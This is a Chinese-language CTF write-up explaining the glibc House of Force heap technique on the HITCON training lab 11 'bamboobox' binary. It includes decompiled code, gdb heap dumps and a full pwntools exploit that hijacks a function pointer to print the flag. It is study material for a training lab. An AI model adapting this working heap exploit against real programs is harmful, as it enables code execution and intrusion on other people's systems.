0%

House of Force

5f62d6be6d2fa.jpg

关于House of Force的原理,可以看一下CTF WIKI,我这里就不详细讲了,直接上例题。

HITCON training lab 11

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // [sp+8h] [bp-18h]@1
char buf; // [sp+10h] [bp-10h]@2
__int64 v5; // [sp+18h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = malloc(0x10uLL);
*v3 = hello_message;
v3[1] = goodbye_message;
(*v3)(16LL, 0LL);
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
switch ( atoi(&buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
(v3[1])(&buf, &buf);
exit(0);
return;
default:
puts("invaild choice!!!");
break;
}
}
}

add_item函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 add_item()
{
__int64 result; // rax@3
__int64 v1; // rcx@12
signed int i; // [sp+4h] [bp-1Ch]@4
int v3; // [sp+8h] [bp-18h]@2
char buf; // [sp+10h] [bp-10h]@2
__int64 v5; // [sp+18h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);
if ( num > 99 )
{
puts("the box is full");
LABEL_11:
result = 0LL;
goto LABEL_12;
}
printf("Please enter the length of item name:");
read(0, &buf, 8uLL);
v3 = atoi(&buf);
if ( v3 )
{
for ( i = 0; i <= 99; ++i )
{
if ( !*&itemlist[4 * i + 2] )
{
itemlist[4 * i] = v3;
*&itemlist[4 * i + 2] = malloc(v3);
printf("Please enter the name of item:");
*(*&itemlist[4 * i + 2] + read(0, *&itemlist[4 * i + 2], v3)) = 0;
++num;
goto LABEL_11;
}
}
goto LABEL_11;
}
puts("invaild length");
result = 0LL;
LABEL_12:
v1 = *MK_FP(__FS__, 40LL) ^ v5;
return result;
}

show_item函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int show_item()
{
int result; // eax@2
signed int i; // [sp+Ch] [bp-4h]@3

if ( num )
{
for ( i = 0; i <= 99; ++i )
{
if ( *&itemlist[4 * i + 2] )
printf("%d : %s", i, *&itemlist[4 * i + 2]);
}
result = puts(byte_401089);
}
else
{
result = puts("No item in the box");
}
return result;
}

change_item函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 change_item()
{
int v0; // ST08_4@4
int v2; // [sp+4h] [bp-2Ch]@3
char buf; // [sp+10h] [bp-20h]@3
char nptr; // [sp+20h] [bp-10h]@4
__int64 v5; // [sp+28h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);
if ( num )
{
printf("Please enter the index of item:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
if ( *&itemlist[4 * v2 + 2] )
{
printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(*&itemlist[4 * v2 + 2] + read(0, *&itemlist[4 * v2 + 2], v0)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return *MK_FP(__FS__, 40LL) ^ v5;
}

remove_item函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 remove_item()
{
int v1; // [sp+Ch] [bp-14h]@3
char buf; // [sp+10h] [bp-10h]@3
__int64 v3; // [sp+18h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
if ( num )
{
printf("Please enter the index of item:");
read(0, &buf, 8uLL);
v1 = atoi(&buf);
if ( *&itemlist[4 * v1 + 2] )
{
free(*&itemlist[4 * v1 + 2]);
*&itemlist[4 * v1 + 2] = 0LL;
itemlist[4 * v1] = 0;
puts("remove successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return *MK_FP(__FS__, 40LL) ^ v3;
}

magic函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn magic()
{
int fd; // ST0C_4@1
char buf; // [sp+10h] [bp-70h]@1
__int64 v2; // [sp+78h] [bp-8h]@1

v2 = *MK_FP(__FS__, 40LL);
fd = open("./flag", 0);
read(fd, &buf, 0x64uLL);
close(fd);
printf("%s", &buf);
exit(0);
}

利用:

1.首先申请一个chunk1,为覆盖top chunk做准备。

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ x/10gx 0x175c000
0x175c000: 0x0000000000000000 0x0000000000000021
0x175c010: 0x0000000000400896 0x00000000004008b1 <----hello_message,goodbye_message
0x175c020: 0x0000000000000000 0x0000000000000041 <----chunk1_size
0x175c030: 0x0000000a61616464 0x0000000000000000
0x175c040: 0x0000000000000000 0x0000000000000000
gdb-peda$
0x175c050: 0x0000000000000000 0x0000000000000000
0x175c060: 0x0000000000000000 0x0000000000020fa1 <----top chunk
0x175c070: 0x0000000000000000 0x0000000000000000
0x175c080: 0x0000000000000000 0x0000000000000000
0x175c090: 0x0000000000000000 0x0000000000000000

2.溢出覆盖top chunk的size位为0xffffffffffffffff,也就是-1

1
2
3
4
5
6
gdb-peda$ x/10gx 0x1028020
0x1028020: 0x0000000000000000 0x0000000000000041
0x1028030: 0x6161616161616161 0x6161616161616161
0x1028040: 0x6161616161616161 0x6161616161616161
0x1028050: 0x6161616161616161 0x6161616161616161
0x1028060: 0x6161616161616161 0xffffffffffffffff <----top chunk

此时top chunk位置0x1a7c060

3.我们要覆盖的地址是0x1a7c010,所以我们申请的chunk就是:0x1a7c010-0x10-0x1a7c060=-0x60.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/

#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/* Same, except also perform argument check */

#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);

这里先要过掉第一个检查, -2*MINSIZE,可以pass,接下来要让我们的
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) 刚好等于=-60
所以要减掉个SIZE_SZ, -68就是malloc大小了

4.我们再malloc一次就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gdb-peda$ heap
0x1bb6000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x400d49 <magic>, <----可以看到已经修改成功了,退出一下就可以了。
bk = 0x400d49 <magic>,
fd_nextsize = 0x0,
bk_nextsize = 0x39
}
0x1bb6020 PREV_INUSE {
prev_size = 0x0,
size = 0x39,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x1bb6058 PREV_INUSE {
prev_size = 0x6161616161616161,
size = 0x6161616161616161,
fd = 0xffffffffffffa1,
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python

from pwn import *

r = process('./bamboobox')
context.log_level = 'debug'


def additem(length, name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)


def modify(idx, length, name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)


def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))


def show():
r.recvuntil(":")
r.sendline("1")


magic = 0x400d49
# we must alloc enough size, so as to successfully alloc from fake topchunk
additem(0x30, "ddaa") # idx 0
#gdb.attach(r)
payload = 0x30 * 'a' # idx 0's content
payload += 'a' * 8 + p64(0xffffffffffffffff) # top chunk's prev_size and size
# modify topchunk's size to -1
modify(0, 0x41, payload)

# top chunk's offset to heap base
offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0x8
additem(malloc_size, "dada")

additem(0x10, p64(magic) * 2)
print r.recv()
#gdb.attach(r)
r.sendline('5')

r.interactive()

参考链接:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_force-zh/#hitcon-training-lab-11